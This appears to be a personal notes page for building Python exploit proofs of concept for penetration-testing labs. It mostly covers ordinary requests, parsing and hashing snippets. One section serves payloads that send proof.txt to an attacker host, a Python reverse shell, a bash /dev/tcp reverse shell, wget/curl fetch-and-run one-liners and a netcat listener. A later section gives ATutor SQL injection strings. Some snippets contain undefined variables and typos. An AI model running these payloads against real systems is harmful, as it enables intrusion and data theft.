Python PoC Building
PoC Structure
import sys
import argparse
import signal
# Safe exit handler
def def_handler(sig, frame):
print("\n\n[!] Exiting…\n")
sys.exit(1)
# Set the signal handler for Ctrl+C
signal.signal(signal.SIGINT, def_handler)
def other_function_example(): # Include the variables from argparse if needed inside ()
# Code for function2
# Main Function. Execution Flow
def main(target, attacker_ip):
print(f"Target: {target}, Attacker IP: {attacker_ip}")
# Write things here, call other functions if needed, state those functions blow the Crtl+C funcion
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='This script processes target and attacker IP.')
parser.add_argument('--target', '-t', type=str, required=True,
help='Target IP or domain name. ! Should include port. e.g. example:8080')
parser.add_argument('--attacker-ip', '-a', type=str, required=True,
help='Attacker IP')
args = parser.parse_args()
main(args.target, args.attacker_ip)
Error handling and exit
- crtl + C Exit Code
#To exit:
def def_handler(sig, frame):
print("\n\n[!] Exiting…\n")
sys.exit(1)
#ctrl+c
signal.signal(signal.SIGINT, def_handler)
- if-else success and failure scenarios
def some_function(parameter):
if parameter: # Success condition
# Perform the intended task
result = parameter + 10 # Some operation
return True, result # Return True for success and the result
else: # Failure condition
print("Error: Invalid parameter")
return False, None # Return False for failure and None as the placeholder for the actual result
Requests Library
- Normal HTTP Request and Response
import requests
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def format_text(title, item):
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
return text
r = requests.get('https://manageengine:8443/', verify=False)
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))
The same script but sending the request through Burp so we can inspect it there:
import requests
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def format_text(title, item):
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
return text
r = requests.get('https://manageengine:8443/', verify=False, proxies=proxies)
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))
To automate this in a single script:
import requests
from colorama import Fore, Back, Style
# Disable warnings for unverified HTTPS requests
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def format_text(title, item):
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break
return text
# Prompt for URL
url = input("Enter the URL: ")
# Prompt for proxy usage
use_proxy = input("Do you want to use a proxy? (yes/no): ").strip().lower()
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} if use_proxy == 'yes' else None
# Make the request
r = requests.get(url, verify=False, proxies=proxies)
# Print response details
print(format_text('r.status_code is: ', r.status_code))
print(format_text('r.headers is: ', r.headers))
print(format_text('r.cookies is: ', r.cookies))
print(format_text('r.text is: ', r.text))
- Sessions
We can also open a session with the requests library:
session = requests.Session()
Now we can use that session to send requests with the different methods:
Get Method:
session.get('http://example.com/')
To send it with cookies and headers:
custom_cookies = {"AEC": "Ackid1QXvuBpBGFsTtvANakz3MJ_Fsmtqlb1hOCtdqF6YW7liSByQ710aEI"}
custom_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.90 Safari/537.36"}
session.get("https://www.google.com:443/", headers=custom_headers, cookies=custom_cookies)
Post Method:
custom_data = {"username": "holaa", "password": "superpassword"}
session.post("https://es.wikihow.com:443/api.php", data=custom_data)
or
session.post("https://es.wikihow.com:443/api.php", data={"username": "holaa", "password": "superpassword"})
or
custom_username = "holaa"
custom_password = "superpassword"
session.post("https://es.wikihow.com:443/api.php", data={"username": custom_username, "password": custom_password})
If the data we are sending in the post request is a file, we can directly open and send it:
session.post("htttp://example.com/upload", files={'file': open('/tmp/algo.pdf', 'rb')})
To send a file manipulating the data (First check request in burp):
session.post("htttp://example.com/upload", files={'name_file':f"""data:………"""})
To set session cookies:
cookie_new_value = "value"
session.cookies.set('JSESSIONID', cookie_new_value)
To add various values to cookies:
cookie_new_values = {'name1': 'value1', 'name2': 'value2'}
session.cookies.update(cookie_new_values)
To replace current cookies for new ones with the same name (just change value):
cookie_new_value = "value"
for cookie in session.cookies:
if cookie.name == 'JSESSIONID':
cookie.value = cookie_new_value
If we want to handle a request with a self-signed certificate:
requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
r = requests.get('https://example.com/',verify=False)
Copy As Python-Requests
https://portswigger.net/bappstore/b324647b6efa4b6a8f346389730df160
BeautifullSoup Library
If in burp the response is directly what we want:
what_we_want = session.get(f'http://example.com/loquesea.txt').text.rstrip()
print(f"[+] txt File Downloaded Successfully: {what_we_want}")
If we want to extract just specific information (like grep command):
def grep_from_response():
response = session.get(f'http://example.com/hola.txt').text.rstrip()
try:
what_we_want_to_grep = [line for line in response.split('\n') if 'contraseña' in line]
print(f'[+] Results: {what_we_want_to_grep}')
except AttributeError:
print("[-] No results")
If we need to parse, then we need beautifull soap:
from bs4 import BeautifulSoup
def get_first_tag(session):
page_source = session.get(f'http://example/loquesea').text
soup = BeautifulSoup(page_source, 'html.parser')
try:
# Find the first <h1> tag and extract its text
first_h1_tag = soup.find('h1').get_text()
print(f'[+] First h1 Tag : {first_h1_tag}')
except AttributeError:
# If <h1> tag is not found, AttributeError will be raised
print("h1 tag not found")
def get_second_tag(session):
page_source = session.get(f'http://example/loquesea').text
soup = BeautifulSoup(page_source, 'html.parser')
try:
# Find all <h1> tags
h1_tags = soup.find_all('h1')
# Remember that list indexing is zero-based, so the second element is at index 1
second_h1_tag = h1_tags[1].get_text()
print(f'[+] Second h1 Tag : {second_h1_tag}')
except IndexError:
# If there are less than two <code> tags, IndexError will be raised
print("Second <h1> tag not found")
#To extract more specific info:
def extract_info(session):
page_source = session.get(f'http://example/loquesea').text
soup = BeautifulSoup(page_source, 'html.parser')
try:
# Find the container tag with specified attributes
container = soup.find(container_tag, **container_attrs)
# Find the target tag within the container tag with specified attributes
target = container.find(target_tag, **target_attrs)
# Extract the text from the target tag
extracted_text = target.get_text(strip=True)
print(f'\n[+] Extracted Info: {extracted_text}')
except AttributeError:
print("\n[-] Information not found")
Pwntools Library Logging
# Importing the log module from pwntools
from pwn import log
# Basic usage of log - Creating a log object
# You can use this for general logging purposes
basic_log = log.progress("Basic Log")
# Updating the status of the log
basic_log.status("Performing an action")
# Simulating a task (you can replace this with your actual code)
import time; time.sleep(2)
# Simulates a task by sleeping for 2 seconds
#For example if the are retrieving a password:
password = ""
password += character
p2.status(password)
# Marking the task as successful
basic_log.success("Action performed successfully")
# Demonstrating different log levels
# Info: General information
log.info("This is an informational message.")
# Warning: Something unexpected happened, but the program can still continue
log.warning("This is a warning message.")
# Error: A more serious problem that might prevent the program from continuing
log.error("This is an error message.")
# Critical: A serious error, indicating the program might not be able to continue
log.critical("This is a critical error message.")
# Demonstrating context-specific logs
# You can create different log objects for different parts of your program
network_log = log.progress("Network Operations")
database_log = log.progress("Database Operations")
# Updating network log
network_log.status("Connecting to server")
time.sleep(1) # Simulating a network operation
network_log.success("Connected to server")
# Updating database log
database_log.status("Querying database")
time.sleep(1.5) # Simulating a database operation
database_log.success("Database query successful")
# Final note: This is a basic template. As you work with pwntools and Python,
# you'll find many ways to customize and extend this logging functionality.
String and Random Libraries
To create random usernames:
import random
import string
# Example 1: Only lowercase letters, 3 characters long
username_1 = ''.join(random.choice(string.ascii_lowercase) for _ in range(3))
# Example 2: Lowercase letters and numbers, 5 characters long
username_2 = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(5))
# Example 3: Lowercase and uppercase letters, 6 characters long
username_3 = ''.join(random.choice(string.ascii_letters) for _ in range(6))
# Example 4: Lowercase letters, digits and special characters, 8 characters long
special_characters = "!@#$%^&*()"
username_4 = ''.join(random.choice(string.ascii_lowercase + string.digits + special_characters) for _ in range(8))
# Printing the usernames
print("Username 1:", username_1)
print("Username 2:", username_2)
print("Username 3:", username_3)
print("Username 4:", username_4)
To define characters for exploits like sqli:
# To use all printable characters
characters = string.printable
# To use all printable ASCII characters from 32 to 127
characters = ''.join([chr(i) for i in range(32, 128)]) # All printable ASCII characters from 32 to 127
# To use lowercase letters from a-z and numbers from 0-9
characters = string.ascii_lowercase + string.digits
Web Server with Bottle
from bottle import Bottle, request
web_server = Bottle()
@web_server.route('/') # When someone accesses the URL ('/'), the following function is called.
def example():
param = request.query.get('PARAMETER') # To extract a parameter from the received request
print(f'Got parameter {param}')
return f'Got parameter {param}'
web_server.run(host='0.0.0.0', port=80, reloader=False)
To run it as a thread:
threading.Thread(target=lambda: web_server.run(host='0.0.0.0', port=80, reloader=False)).start()
Other examples of use with bottle:
# Route to handle GET requests with query parameters
@app.route('/get-example')
def handle_get():
# Extracting a query parameter named 'name'
name = request.query.get('name', 'Guest')
return f'Hello, {name}!'
# Route to handle POST requests with form data
@app.post('/post-example')
def handle_post():
# Accessing form data: 'username' and 'password'
username = request.forms.get('username')
password = request.forms.get('password')
return f'Username: {username}, Password: {password}'
# Route to access JSON data in POST requests
@app.post('/json-example')
def handle_json():
# Accessing JSON data sent in the request body
data = request.json
return f'Received JSON data: {data}'
# Dynamic route with a path parameter
@app.route('/user/<username>')
def show_user(username):
# The 'username' parameter is part of the URL path
return f'User profile of {username}'
# Route to demonstrate setting and accessing cookies
@app.route('/cookie-example')
def cookie_example():
# Check if a cookie named 'visits' exists
visits = request.get_cookie('visits', default='0')
new_visits = int(visits) + 1
response.set_cookie('visits', str(new_visits), max_age=3600)
return f'Number of visits: {new_visits}'
# Route to demonstrate reading HTTP headers
@app.route('/header-example')
def header_example():
# Accessing a specific HTTP header (User-Agent)
user_agent = request.headers.get('User-Agent')
return f'Your User-Agent is: {user_agent}'
To start a server within the main function (we can directly pass arguments from argparse) and create paths that call python scripts to read files in the target system and print them to console, and get a reverse shell:
# Commands to execute to trigger the python files:
# f"wget http://{attacker_ip}/get_proof.py && python get_proof.py && wget http://{attacker_ip}/pwned.py && python pwned.py"
# f"curl http://{attacker_ip}/get_proof.py -o get_proof.py && python get_proof.py && curl http://{attacker_ip}/pwned.py -o pwned.py && python pwned.py"
# If we want to access the session variable from the main function inside a function in the bottle route:
#session = None
def main(target, attacker_ip):
# If we have defined the session variable as global to be used in a bottle route. Now in the bottle route variable it doesnt need to be inserted in the ()
#global session
# Start the web server and create python scripts to print the flag and get a reverse shell
web_server = Bottle()
time.sleep(1)
@web_server.route('/get_proof.py')
def get_proof():
return f"""import subprocess;subprocess.call(["/bin/sh","-c","wget http://{attacker_ip}/print_proof?proof="+open('proof.txt').read() ])"""
# Grab proof once sended to our server
@web_server.route('/print_proof')
def print_proof():
proof = request.query.get("proof")
print(f'[+] proof.txt : {proof}\n')
# Python Reverse shell
@web_server.route('/pwned.py')
def pwned():
return f'import time,socket,subprocess,os;time.sleep(5);s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{attacker_ip}",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # To exeute this once we can RCE, use wget http://{attacker_ip}/pwned.py and then python pwned.py
threading.Thread(target=lambda: web_server.run(host='0.0.0.0', port=80, reloader=False)).start()
time.sleep(1)
# Start Attack
print(f"[*] Starting Attack against {target} ...\n")
session = requests.Session()
session.get(f'http://{target}/')
We can do the same with bash payloads:
# Commands to execute to trigger the python files:
# f"wget http://{attacker_ip}/get_proof.sh && chmod +x get_proof.sh && /bin/bash get_proof.sh && wget http://{attacker_ip}/pwned.sh && chmod +x pwned.sh && /bin/bash pwned.sh"
# f"curl http://{attacker_ip}/get_proof.sh -o get_proof.sh && chmod +x get_proof.sh && /bin/bash get_proof.sh && curl http://{attacker_ip}/pwned.sh -o pwned.sh && chmod +x pwned.sh && /bin/bash pwned.sh"
@web_server.route('/get_proof.sh')
def get_proof():
return f""" curl "http://{attacker_ip}/print_proof?proof=$(cat proof.txt)" """
# Grab proof once sended to our server
@web_server.route('/print_proof')
def print_proof():
proof = request.query.get("proof")
print(f'[+] proof.txt : {proof}\n')
# Python Reverse shell
@web_server.route('/pwned.sh')
def pwned():
return f"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/777 0>&1'"
Running Commands (os and multiprocessing libraries)
- To run a command
import os
os.system("whoami")
- To start a netcat listener
import multiprocessing
import os
print(f"[*] Starting a listener in port 1337 ...\n")
multiprocessing.Process( target=os.system, args=(f'/bin/nc -lvnp 1337',) ).start()
time.sleep(1)
Events
To create an event and insert it in a function so we can continue the execution of the script once the event is terminated:
from threading import Event
custom_event = Event() # This goes in the top of the script
def custom_function()
# Code
custom_event.set() # This goes at then end of the function to set the event once is successfully executed, only the return goes below in case is needed
return True # whatever
def main()
#code
#code
custom_event.wait() #Wait for the custom_event.set() to be triggered, if it is, then continue with the code below
#code
Hashlib Library
import hashlib
import os
# Hashlib provides a common interface to many different secure hash and message digest algorithms.
# Examples include: md5, sha1, sha224, sha256, sha384, sha512, etc.
# Example 1: Basic Hashing with MD5
def hash_md5(data):
hasher = hashlib.md5()
# Data is encoded to bytes using UTF-8 encoding
hasher.update(data.encode('utf-8'))
return hasher.hexdigest()
# Example 2: Hashing with SHA-256
def hash_sha256(data):
hasher = hashlib.sha256()
hasher.update(data.encode('utf-8'))
return hasher.hexdigest()
# Example 3: Using a Salt with SHA-256
def hash_sha256_with_salt(data, salt):
hasher = hashlib.sha256()
# Salts are typically stored as bytes, so we directly use the salt as bytes
hasher.update(salt + data.encode('utf-8'))
return hasher.hexdigest()
# Generating a random salt
def generate_salt():
# os.urandom() generates a string of size random bytes suitable for cryptographic use.
# The salt is already in byte form, so no need to encode it again
return os.urandom(16)
# Example usage
data = "Hello, world!"
salt = generate_salt()
print("MD5 Hash:", hash_md5(data))
print("SHA-256 Hash:", hash_sha256(data))
print("SHA-256 Hash with Salt:", hash_sha256_with_salt(data, salt))
# Note: Hash functions are one-way functions. They can't be 'decoded' or 'reversed'.
# To verify a hash, you must hash the original data again and compare the results.
To generate an encryption key:
def key_generation(data, salt):
key = data + salt
return hashlib.sha256(keytext.encode('utf-8')).digest()[:24]
#Concatenation with Salt:
# This is a typical pattern in cryptographic functions where a salt (a random or unique string) is added to another piece of data (like an email address) to enhance security.
# SHA-256 Hashing:
# The concatenated string (keytext) is then encoded to bytes and hashed using the SHA-256 algorithm, a cryptographic hash function.
# The .digest() method returns the byte string of the hash.
# Slicing the Digest to 24 Bytes:
# The [:24] part is a slicing operation in Python. It takes the first 24 bytes of the 32-byte SHA-256 hash.
# The cryptographic operation requires a key of a certain length, which is 24 bytes in this case, usefull for the use of Triple DES encryption.
# Others are the following:
# 16 Bytes (128 bits) - Common for AES-128:
# 32 Bytes (256 bits) - Full SHA-256 Hash:
# 8 Bytes (64 bits) - For Simpler/Legacy Systems:
# 20 Bytes (160 bits) - SHA-1 Hash Length:
# To call the function:
# With specific arguments:
generated_key = key_generation("algo@example.com", "salt:)")
# With variables:
custom_data = "adios"
custom_salt = "hola"
generated_key = key_generation(custom_data, custom_salt)
To decrypt something:
def decryption(klok): # Add the variables tu used for the key_for_decryption function
klok_value = #Value of thing to decrypt
key_for_decryption = # Call function to generate the used key
klok_decryption = # Decryption Algorithm setup
return klok_decryption.decrypt(data=klok_val)
# Example in wich:
# klok is expected to be a string containing data encoded in Base64 format, typically with segments separated by periods (.). The function splits klok at the period, takes the second segment (index 1), and decodes it from Base64.
# urlsafe_b64decode is used here, which means the Base64 encoding is URL-safe (different characters for + and /).
# Decryption Algorithm is Triple DES (pyDes.triple_des)
def decryption(klok): # Add the variables tu used for the key_for_decryption function
klok_value = base64.urlsafe_b64decode(klok.split(".")[1])
key_for_decryption = #Call function to generate the used key
klok_decryption = pyDes.triple_des(key=key_for_decryptio, pad=None, mode=pyDes.ECB, padmode=pyDes.PAD_PKCS5)
return klok_decryption.decrypt(data=klok_val)
decoded_klok = decryption(klok).decode('utf-8').split('|')[0]
# In this example, the decoded string, once converted to utf-8, is then split using the '|' character as a delimiter.
# The decrypted data is expected to be in a format where different pieces of information are separated by '|'.
# After splitting, it selects the first element of the resulting list (index [0]). This means you're only interested in the piece of information before the first '|' character in the decrypted and decoded string.
To encrypt:
def encryption(klok):
data = # Data to encrypt
key_for_encryption = #Call function to generate the used key
klok_decryption = #Copy decryption
byte_encryption = klok_decryption.encrypt(data=data.encode('utf-8'))
return klok + '.' + base64.urlsafe_b64encode(byte_encryption).decode('utf-8')
SQLi Error Based Detection
To send an unauthenticated request and try locating a SQL Injection:
import sys
import re
import requests
from bs4 import BeautifulSoup
def searchFriends_sqli(ip, inj_str):
target = "http://%s/ATutor/mods/_standard/social/index_public.php?q=%s" % (ip, inj_str)
r = requests.get(target)
s = BeautifulSoup(r.text, 'lxml')
print("Response Headers:")
print(r.headers)
print()
print("Response Content:")
print(s.text)
print()
error = re.search("Invalid argument", s.text)
if error:
print("Errors found in response. Possible SQL injection found")
else:
print("No errors found")
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <injection_string>" % sys.argv[0])
print('(+) eg: %s 192.168.121.103 "aaaa\'" ' % sys.argv[0])
sys.exit(-1)
ip = sys.argv[1]
injection_string = sys.argv[2]
searchFriends_sqli(ip, injection_string)
if __name__ == "__main__":
main()
python poc1.py atutor "AAAA'"
To test if it is vulnerable:
import requests
import sys
def searchFriends_sqli(ip, inj_str, query_type):
target = f"http://{ip}/ATutor/mods/_standard/social/index_public.php?q={inj_str}"
r = requests.get(target)
content_length = int(r.headers['Content-Length'])
if (query_type and content_length > 20) or (not query_type and content_length == 20):
return True
else:
return False
def main():
if len(sys.argv) != 2:
print "(+) usage: %s <target>" % sys.argv[0]
print '(+) eg: %s 192.168.121.103' % sys.argv[0]
sys.exit(-1)
ip = sys.argv[1]
false_injection_string = "test')/**/or/**/(select/**/1)=0%23"
true_injection_string = "test')/**/or/**/(select/**/1)=1%23"
if searchFriends_sqli(ip, true_injection_string, True) and searchFriends_sqli(ip, false_injection_string, False):
print "(+) the target is vulnerable!"
if __name__ == "__main__":
main()
Last updated